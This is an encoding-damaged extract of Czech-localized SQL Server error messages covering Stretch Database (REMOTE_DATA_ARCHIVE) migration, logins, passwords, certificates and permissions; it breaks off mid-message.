�Pokud je povolen� migrace, nejde zak�zat REMOTE_DATA_ARCHIVE.

(Mo~nost REMOTE_DATA_ARCHIVE nejde pro datab�zi %1!s! povolit. Mo~nost REMOTE_DATA_ARCHIVE je mo~n� nastavovat jedin pro u~ivatelsk� datab�ze.

�Mo~nost datab�ze REMOTE_DATA_ARCHIVE u~ je pro datab�zi %1!s! povolen�.

8Vzd�len� server %1!s! nen� server Azure SQL Database V12 (nebo novja�). Datab�zi jde rozt�hnout jenom na server Azure SQL Database V12 (nebo novja�).

�Mo~nost REMOTE_DATA_ARCHIVE nejde pro tabulku %1!s! povolit. Dovod: %2!s! %3!s!

�Mo~nost REMOTE_DATA_ARCHIVE nejde pro tabulku %1!s! povolit. Dovod: sloupec %2!s! %3!s!. %4!s!

�Vygenerov�n� k�du pro operaci REMOTE_DATA_ARCHIVE selhalo (%1!s!).

�Chyba souboru bhem operace REMOTE_DATA_ARCHIVE. GetLastError = %1!s! (%2!s!)

�Adres�Y pro generov�n� k�du nejde spr�vn vytvoYit nebo nastavit.

�Server %1!s! je nedostupn�. Zajistte, aby vzd�len� server existoval a aby pravidla firewallu datab�ze SQL Azure umo~Hovala pY�stup k serveru. Pokud m�te za to, ~e by v�a server ml b�t dostupn�, zkuste pros�m pY�kaz zopakovat.

pOperace rozta~en� se kvoli vnitYn� chyb nepovedla.

V�stup gener�toru k�du pro rozta~en� je poakozen�. Pokus o vygenerov�n� k�du a zY�zen� vzd�len�ch tabulek se bude opakovat.

�Operaci nejde prov�st v re~imu REMOTE_ONLY, proto~e vzd�len� 
�st neexistuje nebo nen� pro tuto operaci platn�.

�%1!s! nen� platn� mo~nost pro parametr @mode. Zadejte hodnotu ALL, LOCAL_ONLY nebo REMOTE_ONLY.

�Operace %1!s! pro tabulku %2!s! selhala, proto~e nen� podporovan� pro tabulky s povolenou mo~nost� REMOTE_DATA_ARCHIVE.

�PY�stup k REMOTE_DATA_ARCHIVE se zak�zal prostYednictv�m mo~nosti 'remote data archive' konfigurace serveru. Zad�n�m pY�kazu "exec sp_configure 'remote data archive', 1" povol�te pY�stup k serveru.

�Operaci %1!s! nejde pro tabulku %2!s! prov�st, proto~e je povolen� mo~nost REMOTE_DATA_ARCHIVE. %3!s!

Aktualizace a odstrann� Y�dko zposobil�ch k migraci v tabulce %1!s! nen� povolen�, proto~e se pou~�v� mo~nost REMOTE_DATA_ARCHIVE.

�Nejde z�skat pY�stup k archivu vzd�len�ch dat: Chyba: %1!s!, z�va~nost: %2!s!, stav: %3!s!, Y�dek: %4!s! %5!s!

Nen� mo~n� prov�st operaci CREATE INDEX pro zobrazen� %1!s!, proto~e odkazuje na tabulku %2!s! s povolenou mo~nost� REMOTE_DATA_ARCHIVE.

Tabulku %1!s! nejde pou~�vat ve v�razech READTEXT, WRITETEXT a UPDATETEXT, proto~e m� povolenou mo~nost REMOTE_DATA_ARCHIVE.

�Nejde zadat dotaz na tabulku %1!s!, proto~e tato operace je pro tento objekt aktu�ln zak�zan�.

Pro datab�zi %1!s! nejde nastavit re~im dotazu Archiv vzd�len�ch dat, proto~e u n� nen� povolen� mo~nost REMOTE_DATA_ARCHIVE.

�Pro datab�zi %1!s! nejde nastavit re~im dotazu Archiv vzd�len�ch dat LOCAL_AND_REMOTE, proto~e data na vzd�len� stran nejsou konzistentn�. Dala� informace o nekonzistenci objekto najdete v protokolu chyb syst�mu SQL Server.

�Datab�zi %1!s! nejde deautorizovat, proto~e pro ni nen� povolen� mo~nost REMOTE_DATA_ARCHIVE.

�Datab�zi %1!s! nejde deautorizovat, proto~e je ji~ odpojen� od vzd�len� datab�ze.

�Pro datab�zi %1!s! nejdou sjednotit rozta~en� indexy, proto~e pro ni nen� povolen� mo~nost REMOTE_DATA_ARCHIVE.

�Pro rozta~enou tabulku %1!s! nejdou sjednotit indexy, proto~e jej� migrace nen� odchoz�.

�Tabulka %1!s! nen� pY�stupn� na �rovni izolace transakce SNAPSHOT, proto~e m� povolenou mo~nost REMOTE_DATA_ARCHIVE.

�Funkci %1!s! jde jako parametry pYedat jenom identifik�tory sloupco.

�Predik�t filtru nejde pro tabulku %1!s! nastavit, proto~e vaechny Y�dky u~ jsou zposobil� k migraci.

Predik�t filtru %1!s! pro tabulku %2!s! nejde nahradit hodnotou %3!s!, proto~e nejsou splnn� podm�nky nutn� k proveden� nahrazen�.

�Datab�zi %1!s! nejde znovu autorizovat, proto~e pro datab�zi nen� povolen� mo~nost REMOTE_DATA_ARCHIVE.

�Datab�zi %1!s! nejde znovu autorizovat, proto~e u~ je autorizovan� a pYipojen� ke vzd�len� datab�zi.

�Pokus o migraci selhal. Vzd�len� vlo~en� selhalo. Chyba: %1!s!

$Pokus o migraci selhal. Vzd�len�mu vlo~en� se nepovedlo vlo~it vaechny Y�dky. O
ek�van� Y�dky: %1!s!, skute
n vlo~en� vzd�len� Y�dky: %2!s!

�Pokus o migraci selhal. Inkrementace ID d�vky selhala. O
ek�valo se ID d�vky: %1!s!, aktu�ln� ID d�vky : %2!s!

Pokus o sjednocen� selhal. Nov� maxim�ln� hodnoty ID vzd�len� d�vky nejsou mena� ne~ po
�te
n� hodnota. Po
�te
n�: %1!s!, nov�: %2!s!

�V dotazu nejde pou~�t tabulka %1!s!, proto~e prob�h� odsouhlasen� dat. Jde o sou
�st automatick�ho procesu zotaven� pro tabulku s povolenou vzd�lenou archivac�. Stav t�to operace mo~ete zjistit pomoc� sys.remote_data_archive_tables.

�Funkci %1!s! nejde pou~�t jako predik�t filtru rozta~en�, proto~e nem� po~adovan� vlastnosti.

�PYipojen� archivu vzd�len�ch dat k�serveru %1!s! se nepovedlo.

�Procedura %1!s! vy~aduje parametr %2!s!, kdy~ datab�ze nem� povolenou mo~nost REMOTE_DATA_ARCHIVE.

�Procedura %1!s! nepYij�m� parametr %2!s!, kdy~ m� datab�ze povolenou mo~nost REMOTE_DATA_ARCHIVE.

�Dala� �lohy rozta~en� nejde zaYadit do fronty. Po
kejte na dokon
en� zb�vaj�c�ch �loh a zkuste to znovu pozdji.

l%1!s! o
ek�v� parametr %2!s!, kter� nebyl zadan�.

�Zmna kolace nen� povolen�, proto~e datab�ze %1!s! u~ m� povolenou mo~nost REMOTE_DATA_ARCHIVE.

�Nejde pYejmenovat index %1!s!. U tabulek s povolenou mo~nost� REMOTE_DATA_ARCHIVE se indexy nedaj� pYejmenovat.

�Rozta~en� se po zah�jen� migrace zak�zalo. Povolte rozta~en� a zkuste to znovu.

�Pokus o pY�choz� migraci se nepovedl. Selhalo m�stn� vlo~en�. Chyba: %1!s!.

�Pokus o pY�choz� migraci se nepovedl. Selhala dekrementace ID d�vky. O
ek�van� ID d�vky: %1!s!, aktu�ln� ID d�vky: %2!s!.

\Pokus o zruaen� propojen� rozta~en� tabulky se nepovedl. Pokud tato tabulka nen� vyYazen�, zkuste opakovat nastaven� mo~nosti tabulky REMOTE_DATA_ARCHIVE na hodnotu OFF.

�U~ivatel nem� opr�vnn� povolit mo~nost REMOTE_DATA_ARCHIVE s nastaven�m FEDERATED_SERVICE_ACCOUNT = ON.

@PY�choz� migrace prob�h� nebo je pozastaven�. Smr migrace nejde v tuto chv�li nastavit na odchoz�. Zkuste operaci opakovat po dokon
en� pY�choz� migrace.

�U~ivatel mus� b�t DB OWNER, aby mohl pou~�t pomocn� parametr REMOTA_DATA_ARCHIVE_OVERRIDE.

�Pomocn� parametr REMOTE_DATA_ARCHIVE_OVERRIDE nen� povolen� v u~ivatelsk� transakci.

�Pomocn� parametr REMOTE_DATA_ARCHIVE_OVERRIDE nen� povolen� v implicitn� transakci.

�Pomocn� parametr REMOTE_DATA_ARCHIVE_OVERRIDE nen� povolen� v pY�kazech INSERT.

�Pomocn� parametr REMOTE_DATA_ARCHIVE_OVERRIDE nen� povolen� v definici zobrazen�.

Tabulka %1!s! nemo~e b�t c�lem pY�kazu UPDATE nebo DELETE s klauzul� FROM, proto~e m� povolenou mo~nost REMOTE_DATA_ARCHIVE.

�Operace DML selhala, proto~e by ovlivnila jeden nebo v�ce migrovan�ch (nebo migrovateln�ch) Y�dko.

Tabulka %1!s! nemo~e b�t c�lem pY�kazu UPDATE nebo DELETE prostYednictv�m zobrazen�, proto~e m� povolenou mo~nost REMOTE_DATA_ARCHIVE.

HV tabulce %1!s! nejsou m�stn dostupn� vaechny Y�dky, kter� je tYeba sjednotit se vzd�len�mi daty. Je nutn� d�vka s ID: %2!s!, dostupn� je d�vka s ID : %3!s!.

�Predik�t filtru nejde pro tabulku %1!s! nastavit sou
asn s pY�choz� migrac�.

�Kdy~ migrace nen� pozastaven�, nejde prov�st aktualizaci nebo odstrann� pomoc� pomocn�ho parametru %1!s! pro tabulku %2!s!. Nastavte pros�m MIGRATION_STATE na PAUSED a zkuste tuto operaci znovu.

�PYi aktualizaci vzd�len�ho sloupce doalo k neo
ek�van� v�jimce.

�Nejde aktualizovat archiv vzd�len�ch dat: chyba: %1!s!, z�va~nost: %2!s!, stav: %3!s!.

�Pomocn� parametr STAGE_ONLY nejde pou~�t, proto~e pY�pravn� prostYed� pro tabulku %1!s! jeat nen� zY�zen�.

�VytvoYen� rozta~en� vzd�len� tabulky se nepovedlo, nebyla vr�cena ~�dn� konkr�tn� chyba.

|Nejde na
�st predik�t filtru rozta~en� pro tabulku %1!s!.

�Nejdou sjednotit sloupce pro %1!s! '%2!s!', proto~e nen� povolen� mo~nost REMOTE_DATA_ARCHIVE pro: %3!s!.

�Pro datab�zi %1!s! nejde nastavit trv�n� rpo, proto~e pro ni nen� povolen� mo~nost REMOTE_DATA_ARCHIVE.

<Kdy~ migrace nen� pozastaven�, nejde spustit procedura %1!s! pro tabulku %2!s!. Nastavte pros�m MIGRATION_STATE na PAUSED a zkuste tuto operaci opakovat.

 Pokus o pY�choz� migraci selhal. Operaci vlo~en� se nepovedlo vlo~it vaechny Y�dky. O
ek�van� Y�dky: %1!s!, skute
n� vzd�len� Y�dky: %2!s!

�PY�kaz DML se nepovedlo zpracovat kvoli ne
ekan�mu oper�toru v predik�tu migrace tabulky %1!s!.

@Maxim�ln� ID d�vky v pracovn� tabulce nemo~e b�t vta� ne~ %1!s!. Provete pros�m potYebn� operace DELETE/UPDATE s pou~it�m pomocn�ho parametru STAGE_ONLY.

Tabulka %1!s! nemo~e b�t c�lem pY�kazu UPDATE nebo DELETE s klauzul� OUTPUT, proto~e m� povolenou mo~nost REMOTE_DATA_ARCHIVE.

Tabulka %1!s! nemo~e b�t c�lem pY�kazu UPDATE nebo DELETE prostYednictv�m CURSOR, proto~e m� povolenou mo~nost REMOTE_DATA_ARCHIVE.

Tabulka %1!s! nemo~e b�t c�lem pY�kazu UPDATE nebo DELETE, proto~e m� povolenou mo~nost REMOTE_DATA_ARCHIVE bez predik�tu migrace.

Tabulka %1!s! nemo~e b�t c�lem pY�kazu UPDATE nebo DELETE, proto~e m� sou
asn povolen� mo~nosti REMOTE_DATA_ARCHIVE a BLOCK PREDICATE.

Procedura %1!s! pro tabulku %2!s! nejde spustit, proto~e maxim�ln� ID d�vky v pracovn� tabulce se lia� od maxim�ln�ho ID d�vky ve vzd�len� tabulce. Ujistte se, ~e jste stejn� dotaz s pomocn�m parametrem spustili pro ob tabulky, aby byly synchronn�.

�Procedura %1!s! nejde pro tabulku %2!s! spustit, proto~e ta nen� rozta~en�.

�Proceduru %1!s! nejde v datab�zi %2!s! spustit, proto~e nen� pYipojen� ke vzd�len� datab�zi.

�Zadan� trv�n� RPO nemo~e b�t mena� ne~ minim�ln� trv�n� %1!s!.

�Nejde pYejmenovat sloupec %1!s!. U tabulek s povolenou mo~nost� REMOTE_DATA_ARCHIVE se sloupce nedaj� pYejmenovat.

TDatab�ze %1!s! je nedostupn�. Zkontrolujte, zda vzd�len� datab�ze existuje. Pokud m�te za to, ~e by vaae datab�ze mla b�t dostupn�, zkuste pros�m pY�kaz zopakovat.

�Mo~nost REMOTE_DATA_ARCHIVE nejde zmnit z hodnoty ON na OFF. Kdy~ chcete na
�st vzd�len� data a vypnout archiv vzd�len�ch dat, nastavte REMOTE_DATA_ARCHIVE (MIGRATION_STATE = INBOUND). Kdy~ chcete mo~nost REMOTE_DATA_ARCHIVE vypnout bez na
�t�n� vzd�len�ch dat, nastavte REMOTE_DATA_ARCHIVE = OFF_WITHOUT_DATA_RECOVERY.

Te nejde pou~�t pomocn� parametr REMOTE_DATA_ARCHIVE_OVERRIDE s tabulkou %1!s!, proto~e vzd�len� tabulka jeat nen� vytvoYen�.

DTe nejde prov�st po~adovanou operaci s tabulkou %1!s!, proto~e m� povolenou mo~nost REMOTE_DATA_ARCHIVE_OVERRIDE, ale vzd�len� tabulka jeat nen� vytvoYen�.

�Edice datab�ze %1!s! je neplatn�. Jako c�l pro rozprostYenou datab�zi je podporov�na jenom edice Azure SQL Stretch.

�Pou~it� replikace se nepodporuje pro tabulku %1!s! s povolenou mo~nost� REMOTE_DATA_ARCHIVE.

�Funkce Change Data Capture se nepodporuje pro tabulku %1!s! s povolenou mo~nost� REMOTE_DATA_ARCHIVE.

xMo~nost REMOTE_DATA_ARCHIVE nejde povolit pro tabulku %1!s!, proto~e by pYekro
ila omezen� maxim�ln� velikosti vzd�len� tabulky %2!s! B kvoli pYid�n� vy~adovan�ho syst�mov�ho sloupce.

�Objekt %1!s! neexistuje nebo nen� platn� pro tuto operaci.

lProceduru %1!s! nelze spustit v r�mci transakce.

�Tuto ulo~enou proceduru mohou spustit pouze 
lenov� role %1!s!.

HN�zev nemo~e m�t hodnotu NULL.

|%1!s! nen� platn� n�zev, proto~e obsahuje neplatn� znaky.

�%1!s! nen� platn� pYihlaaovac� �daj nebo nem�te pY�sluan� opr�vnn�.

hU~ivatel %1!s! neexistuje v aktu�ln� datab�zi.

�Objekt %1!s! neexistuje v datab�zi %2!s! nebo nen� platn� pro tuto operaci.

�Datab�ze %1!s! neexistuje. Zadejte platn� n�zev datab�ze. Dostupn� datab�ze naleznete v zobrazen� sys.databases.

�Mo~nost datab�ze %1!s! neexistuje. Zadejte platnou mo~nost datab�ze.

�ZaY�zen� %1!s! neexistuje. Zobrazte dostupn� zaY�zen� pY�kazem sys.backup_devices.

`Role %1!s! v aktu�ln� datab�zi neexistuje.

�Server %1!s! neexistuje. Chcete-li zobrazit dostupn� servery, pou~ijte proceduru sp_helpserver.

<V�choz� %1!s! neexistuje.

@Pravidlo %1!s! neexistuje.

dRoza�Yen� ulo~en� procedura %1!s! neexistuje.

�Byla zad�na neplatn� hodnota pro parametr %1!s!. Zadejte platnou hodnotu parametru.

TZadan� jm�no u~ivatele ji~ m� alias.

�U~ivatel, skupina nebo role %1!s! ji~ v aktu�ln� datab�zi existuje.

hObjekt zabezpe
en� serveru %1!s! ji~ existuje.

TLogick� zaY�zen� %1!s! ji~ existuje.

@Server %1!s! ji~ existuje.

�Datab�ze %1!s! ji~ existuje. Zadejte jedine
n� n�zev datab�ze.

hN�zev %1!s! nen� platn� ofici�ln� n�zev jazyka.

dHeslo aplika
n� role nesm� m�t hodnotu NULL.

�Datov� typ %1!s! neexistuje nebo nem�te pY�sluan� opr�vnn�.

�U~ivatelem definovan� chybov� zpr�vy mus� m�t ID vta� ne~ 50000.

�U~ivatelem definovan� chybov� zpr�vy mus� �roveH z�va~nosti mezi 1 a 25.

�Chcete-li pYepsat existuj�c� zpr�vu, zadejte pY�kaz REPLACE.

�Typ %1!s! je nezn�m� typ z�lohovac�ho zaY�zen�. Pou~ijte typ disk nebo tape.

XLogick� n�zev nemo~e m�t hodnotu NULL.

XFyzick� n�zev nemo~e m�t hodnotu NULL.

�Nelze zruait vazbu z: %1!s!. Pou~ijte pY�kaz ALTER TABLE DROP CONSTRAINT.

�Nelze vytvoYit vazbu pro v�choz� hodnotu %1!s!. V�choz� hodnota mus� b�t vytvoYena pomoc� pY�kazu CREATE DEFAULT.

�Nelze pYejmenovat tabulku, proto~e je publikov�na pro replikaci.

�Existuj� objekty, kter� nejsou vlastnny vlastn�kem datab�ze.

�Seznam n�zvo (%1!s!) obsahuje mezery, kter� nejsou povoleny.

`Seznam (%1!s!) obsahuje pY�lia m�lo n�zvo.

`Seznam (%1!s!) obsahuje pY�lia mnoho n�zvo.

�Seznam n�zvo (%1!s!) obsahuje n�zvy s neabecedn�mi znaky (%2!s!).

XPo~adovan� pYid�n� zaY�zen� bylo odepYeno. Fyzick� zaY�zen� s n�zvem %1!s! ji~ existuje. Na ka~d� n�zev fyzick�ho zaY�zen� sm� odkazovat jen jedno z�lohovac� zaY�zen�.

xU~ivatele guest nelze namapovat na pYihlaaovac� jm�no.

�Toto pYihl�aen� ji~ m� �
et pod jin�m u~ivatelsk�m jm�nem.

TVaechna ID u~ivatelo byla pYiYazena.

�Mapov�n� v�choz�ho jm�na vzd�len�ho pYihl�aen� ze vzd�len�ho serveru %1!s! ji~ existuje.

�Vzd�len� u~ivatel %1!s! ji~ existuje pro vzd�len� server %2!s!.

�Datab�zi pou~�v� minim�ln jeden u~ivatel. Po~adovanou operaci nelze dokon
it.

�Pou~it�: sp_addmessage <
�slo_zpr�vy>,<z�va~nost>,<text_zpr�vy> [,<jazyk> [,FALSE | TRUE [,REPLACE]]]

�Pou~it�: sp_addremotelogin vzd�len�_server [,pYihlaaovac�_jm�no [,vzd�len�_jm�no]]

�V aktu�ln� datab�zi mus� b�t v�choz� hodnota, tabulka a u~ivatelsk� datov� typy.

�V aktu�ln� datab�zi mus� b�t pravidlo, tabulka a u~ivatelsk� datov� typ.

tV aktu�ln� datab�zi mus� b�t tabulka nebo zobrazen�.

xPro pYihl�aen� do Windows nelze pou~�t parametr %1!s!.

Plenstv� veYejn� role nelze zmnit.

`Fyzick� datov� typ %1!s! nepYij�m� kolaci.

�V aktu�ln� datab�zi mus� b�t sloupec nebo u~ivatelsk� datov� typ.

|Pou~it�: sp_addtype n�zev, datov�_typ [,NULL | NOT NULL]

�Objekt %1!s! nelze nal�zt nebo nem�te po~adovan� opr�vnn� nebo objekt nen� platn� pro pYid�n� roza�Yen� vlastnosti.

�Velikost souvisej�c� s roza�Yenou vlastnost� nemo~e b�t vta� ne~ 7500 bajto.

Zmna n�zvu nemo~e b�t provedena, proto~e ID zabezpe
en� (SID) nov�ho n�zvu se neshoduje se star�m SID objektu zabezpe
en�.

�Mo~nost MUST_CHANGE nelze pou~�t, pokud je mo~nost CHECK_EXPIRATION nastavena na hodnotu OFF.

�Pou~it�: sp_bindefault v�choz�_n�zev, n�zev_objektu [, futureonly]

xNelze vytvoYit vazbu v�choz� hodnoty k po
�tan�mu sloupci, zhuatn�mu sloupci a sloupci n�sleduj�c�ch datov�ch typo: timestamp, varchar(max), nvarchar(max), varbinary(max), xml a CLR.

|Nelze vytvoYit vazbu v�choz� hodnoty k sloupci identity.

�Nelze vytvoYit vazbu v�choz� hodnoty k sloupci vytvoYen�mu pomoc� v�choz� hodnoty nebo zmnn�mu tak, aby ji obsahoval.

�Nevlastn�te tabulku s n�zvem %1!s!, kter� m� sloupec s n�zvem %2!s!.

�Pou~it�: sp_bindrule n�zev_pravidla, n�zev_objektu [, futureonly]

�Nelze vytvoYit vazbu pravidla k po
�tan�mu sloupci, zhuatn�mu sloupci a sloupci n�sleduj�c�ch datov�ch typo: text, ntext, image, timestamp, varchar(max), nvarchar(max), varbinary(max), xml a u~ivatelem definovan� datov� typy.

�Proceduru sp_addtype nelze pou~�t k definici u~ivatelsky definovan�ch datov�ch typo pro datov� typy varchar(max), nvarchar(max) a varbinary(max). K tomuto �
elu pou~ijte pY�kaz CREATE TYPE.

�Nelze zmnit vlastn�ka datab�z� master, model, tempdb a distribu
n� datab�ze.

�Navr~en� nov� vlastn�k datab�ze je ji~ u~ivatelem datab�ze nebo v n� m� alias.

�TYet� parametr pro mo~nost tabulky text in row je neplatn�. Ml by m�t hodnotu On, Off, 0, 1 nebo 
�slo od 24 do 7000.

tPY�lia mnoho nezdaYen�ch pokuso o pYihl�aen�. �
et byl do
asn uzam
en, aby se pYedealo h�d�n� hesel. Spr�vce syst�mu mo~e �
et odemknout pomoc� klauzule UNLOCK pY�kazu ALTER LOGIN.

�OvYen� hesla se nezdaYilo. Heslo pro u~ivatele je pY�lia nov� a nelze je zmnit.

tOvYen� hesla se nezdaYilo. Heslo nyn� nelze pou~�t.

�OvYen� hesla se nezdaYilo. Heslo nesplHuje po~adavky z�sad opera
n�ho syst�mu, proto~e je pY�lia kr�tk�.

�OvYen� hesla se nezdaYilo. Heslo nesplHuje po~adavky z�sad opera
n�ho syst�mu, proto~e je pY�lia dlouh�.

�OvYen� hesla se nezdaYilo. Heslo nesplHuje po~adavky z�sad opera
n�ho syst�mu, proto~e nen� dostate
n slo~it�.

�OvYen� hesla se nezdaYilo. Heslo nesplHuje po~adavky knihovny DLL filtru hesel.

hPYi ovYov�n� hesla doalo k neo
ek�van� chyb.

�PYi prov�dn� procedury %1!s! doalo k chyb. Vol�n� objektu %2!s! se nezdaYilo s k�dem chyby: %3!s!.

�Mo~nost CHECK_EXPIRATION nelze pou~�t, pokud je mo~nost CHECK_POLICY nastavena na hodnotu OFF.

�Mo~nost konfigurace %1!s! neexistuje nebo se jedn� o upYesHuj�c� mo~nost.

\Mo~nost konfigurace %1!s! nen� jedine
n�.

�Aktiva
n� ud�lost %1!s! nen� aktiva
n� ud�lost� pro operaci %2!s!.

�Nelze nastavit v�choz� jazyk u ID jazyka, kter� nen� definov�no v tabulce syslanguages.

Mo~nosti CHECK_POLICY a CHECK_EXPIRATION nelze nastavit na hodnotu OFF, pokud je mo~nost MUST_CHANGE nastavena na hodnotu ON.

|%1!s! nen� platn� hodnota pro mo~nost konfigurace %2!s!.

xJi~ existuje aktiva
n� ud�lost %1!s! pro operaci %2!s!.

lPou~it�: sp_dbremove <n�zev_datab�ze> [,dropdev]

�Aktiva
n� ud�lost INSTEAD OF %1!s! nelze pYidru~it k poYad�.

hPro zadan�ho u~ivatele neexistuje ~�dn� alias.

�Objekt je neplatn�. Roza�Yen� vlastnosti nejsou u objektu %1!s! povoleny nebo objekt neexistuje.

$Objekt zabezpe
en� datab�ze je nastaven jako kontext prov�dn� jedn� nebo v�ce procedur, funkc� nebo ozn�men� o ud�losti a nelze jej vyYadit.

�PYi prov�dn� ulo~en� procedury sp_xp_cmdshell_proxy_account doalo k chyb. Mo~n� dovody: Poskytnut� �
et byl neplatn� nebo nebylo mo~n� vytvoYit povYen� %1!s!. K�d chyby: %2!s!, stav chyby: %3!s!.

�Objekt zabezpe
en� datab�ze vlastn� v datab�zi objekt %1!s! a nelze jej vyYadit.

�Objekt zabezpe
en� serveru vlastn� jeden nebo v�ce objekto %1!s! a nelze jej vyYadit.

�%1!s! nen� platn� mo~nost pro parametr @updateusage. Zadejte hodnotu True nebo False.

hRole m� 
leny. PYed vyYazen�m mus� b�t pr�zdn�.

�Implicitn� vytvoYen� objektu %1!s! se nezdaYilo. Dovod: Objekt %2!s! mohl b�t odpojen nebo je jeho n�zev ji~ pou~�v�n.

�Chcete-li zaaifrovat priv�tn� kl�
 pro objekt %1!s!, je nutn� zadat aifrovac� heslo.

�Nemlo by b�t zad�no ~�dn� deaifrovac� heslo, proto~e priv�tn� kl�
 pro objekt %1!s! je zaaifrov�n pomoc� hlavn�ho kl�
e.

�Datov� typ nebo sloupec tabulky %1!s! neexistuje nebo nem�te pY�sluan� opr�vnn�.

�Objekt zabezpe
en� neexistuje nebo nem� dostate
n� opr�vnn�.

lNelze prov�st akci %1!s! s objektem %2!s! %3!s!.

�Nelze prov�st akci %1!s! s objektem %2!s! %3!s!. Objekt neexistuje nebo nem�te pY�sluan� opr�vnn�.

�Nelze aktualizovat u~ivatelsk� instance. Dovod: %1!s!. K�d chyby: 0x%2!s!.

,Informace o proxy �
tu xp_cmdshell o nelze na
�st nebo jsou neplatn�. Zkontrolujte, zda existuje povYen� %1!s! a zda obsahuje platn� informace.

�Objekt zabezpe
en� datab�ze vlastn� objekt %1!s! a nelze jej vyYadit.

�Objekt zabezpe
en� serveru vlastn� objekt %1!s! a nelze jej vyYadit.

�Zadan� heslo je pY�lia dlouh�. Heslo by nemlo pYes�hnout d�lku %1!s! znako.

PY�kaz Setuser se nezdaYil z jednoho z n�sleduj�c�ch dovodo: objekt zabezpe
en� datab�ze %1!s! neexistuje, odpov�daj�c� objekt zabezpe
en� serveru nem� pY�stup k serveru, tento typ objektu zabezpe
en� datab�ze nelze zosobnit nebo nem�te pY�sluan� opr�vnn�.

LNelze inicializovat zabezpe
en�.

�Byla pYekro
ena maxim�ln� �roveH vnoYen� zosobnn� (limit %1!s!).

�Nejde vystavit token zosobnn� z neprim�rn�ho kontextu zosobnn� nebo pro u~ivatele, kter� nen� u~ivatel syst�mu Windows.

�Nelze nastavit aplika
n� roli %1!s!, proto~e neexistuje nebo heslo nen� spr�vn�.

|PYi vytv�Yen� tokenu zosobnn� doalo k neo
ek�van� chyb.

�Neplatn� hodnota 
asov�ho limitu. Platn� je 
asov� hodnota mezi 1 a 7200 s.

�PYihl�aen� %1!s! nen� platn� nebo mu nejde vystavit token zosobnn�.

�Nelze nal�zt objekt %1!s! nebo nem�te pY�sluan� opr�vnn�.

PNelze generovat identifik�tor GUID.

,Nelze pYejmenovat zobrazen� %1!s! ani jeho sloupce a indexy, proto~e se jedn� o syst�mov generovan� zobrazen� vytvoYen� za �
elem optimalizace.

�Mo~nost serveru %1!s! nen� v t�to edici syst�mu SQL Server k dispozici.

 Toto pYihl�aen� je vlastn�kem %1!s! �loh. Chcete-li pYihl�aen� vyYadit, je tYeba tyto �lohy nejprve odstranit nebo zmnit jejich pYiYazen�.

�Parametr %1!s! nelze pou~�t jako certifik�t nebo pYihl�aen� pomoc� asymetrick�ho kl�
e.

�Certifik�t FallBack je nutn� vytvoYit nebo vyYadit v hlavn� datab�zi v jednou~ivatelsk�m re~imu.

(Objekt zabezpe
en� serveru %1!s! udlil jedno nebo v�ce opr�vnn�. PYed vyYazen�m objektu zabezpe
en� serveru je tYeba tato opr�vnn� odvolat.

�PYihl�aen� %1!s! vlastn� jednu nebo v�ce datab�z�. PYed vyYazen�m pYihl�aen� je tYeba zmnit vlastn�ka tchto datab�z�.

@PYihl�aen� %1!s! m� v jedn� nebo v�ce datab�z�ch alias nebo je mapov�no na u~ivatele. PYed vyYazen�m pYihl�aen� je tYeba vyYadit tohoto u~ivatele 
i alias.

xJedin� platn� hodnota parametru @parameter je WITH_LOG.

|Pou~it�: sp_dropmessage <
�slo_zpr�vy> [,<jazyk> | 'ALL']

`Nelze vyYadit zpr�vu s ID mena� ne~ 50000.

|�slo zpr�vy %1!s! nebo zadan� jazykov� verze neexistuje.

�V datab�zi master a tempdb nelze zak�zat pY�stup k �
tu guest.

�Objekt zabezpe
en� datab�ze vlastn� v datab�zi objekty a nelze jej vyYadit.

�Objekt zabezpe
en� datab�ze vlastn� v datab�zi datov� typy a nelze jej vyYadit.

�Neexistuje ~�dn� vzd�len� u~ivatel %1!s! namapovan� na m�stn�ho u~ivatele %2!s! ze vzd�len�ho serveru %3!s!.

Objekt zabezpe
en� serveru je nastaven jako kontext prov�dn� aktiva
n� ud�losti nebo ozn�men� o ud�losti a nelze jej vyYadit.

�Nelze vytvoYit index, kter� nezahrnuje vaechny sloupce zabezpe
en�.

xV tabulce nelze m�t v�ce ne~ jeden sloupec zabezpe
en�.

�St�le existuj� vzd�len� pYihl�aen� nebo propojen� pYihl�aen� pro server %1!s!.

tSloupec zabezpe
en� tabulky nelze zmnit ani vyYadit.

�Mo~nost MUST_CHANGE nen� podporov�na touto verz� syst�mu Microsoft Windows.

�Aktu�ln� kontext zabezpe
en� je nevratn�. PY�kaz Revert se nezdaYil.

XPro objekt %1!s! neexistuje ~�dn� text.

�Zadan� n�zev (%1!s!) nen� u~ivatel, role ani pYihl�aen� jako alias.

�Aktu�ln� kontext zabezpe
en� nelze navr�tit. PYepnte do povodn� datab�ze, kde byl vol�n objekt %1!s!, a opakujte akci.

\Nejsou definov�ny ~�dn� vzd�len� servery.

�Neexistuj� ~�dn� vzd�len� pYihl�aen� pro vzd�len� server %1!s!.

dNejsou definov�na ~�dn� vzd�len� pYihl�aen�.

xNeexistuj� ~�dn� vzd�len� pYihl�aen� pro objekt %1!s!.

�Neexistuj� ~�dn� vzd�len� pYihl�aen� pro objekt %1!s! na vzd�len�m serveru %2!s!.

LNejsou definov�ny ~�dn� servery.

`Neplatn� mo~nost vzd�len�ho serveru: %1!s!.

�Mo~nost dovryhodnosti v mapov�n� vzd�len�ch pYihl�aen� ji~ nen� podporov�na.

�Certifik�t, asymetrick� kl�
 nebo priv�tn� kl�
 nen� platn�, neexistuje nebo k nmu nem�te opr�vnn�.

DPYi aifrov�n� doalo k chyb.

�Neplatn� subjekt certifik�tu. Subjekt certifik�tu mus� m�t 1 a~ %1!s! znako.

Upozornn�: Certifik�t, kter� jste vytvoYili, m� neplatnou dobu platnosti. Datum vypraen� platnosti pYedch�z� datu za
�tku platnosti.

�Upozornn�: Platnost v�mi vytvoYen�ho certifik�tu vypraela.

�Upozornn�: VytvoYen� certifik�t jeat nevstoupil v platnost. Datum za
�tku jeho platnosti je v budoucnu.

l%1!s! nen� platn� mo~nost pro parametr @delfile.

�Vlastnost nelze aktualizovat ani odstranit. Vlastnost %1!s! neexistuje pro objekt %2!s!.

@Objekt %1!s! nen� tabulka.

hVlastn�ka indexovan�ho zobrazen� nelze zmnit.

pMo~nost vzd�len�ho pYihl�aen� %1!s! nen� jedine
n�.

tChyba: Vstupn� parametr %1!s! nesm� m�t hodnotu NULL.

�Chyba: Hodnota parametru @newname obsahuje neplatn� znaky nebo pYekra
uje z�kladn� omezen� (%1!s!).

�}�dn� polo~ka nazvan� %1!s! nebyla nalezena v aktu�ln� datab�zi %2!s!, pYi
